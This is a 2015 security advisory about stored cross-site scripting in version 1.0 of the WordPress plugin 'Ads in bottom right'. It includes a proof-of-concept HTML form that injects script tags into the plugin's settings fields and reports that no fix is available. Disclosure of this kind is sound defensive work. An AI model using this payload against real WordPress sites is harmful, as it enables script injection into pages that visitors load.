WordPress Ads In Bottom Right 1.0 Cross Site Scripting
Posted on 03 August 2015
Title: WordPress 'Ads in bottom right' Plugin Version: 1.0 Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej Date: 2015-06-16 Download: - https://wordpress.org/plugins/ads-in-bottom-right/ - https://plugins.svn.wordpress.org/ads-in-bottom-right/ Notified Vendor/WordPress: 2015-06-21 ========================================================== ## Plugin description ========================================================== This plugin allow you show advertising in bottom right, you can put images, flash or any html code which you want. ## Vulnerabilities ========================================================== Plugin settings vulnerable to XSS attacks. PoC: Log in as admin and submit the following form: <form method="POST" action="[URL]/wp-admin/options-general.php?page=ads-in-bottom-right.php"> <input type="text" name="status_submit" value="2"><br /> <input type="text" name="ads_title" value='"><script>alert(1)</script>'><br /> <input type="text" name="html_code" value="</textarea><script>alert(2)</script>"><br /> <input type="text" name="submit" value="Save setting"><br /> <input type="submit"> </form> After doing this the injected script will also be executed when loading the main page. ## Solution ========================================================== No fix available ========================================================== Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.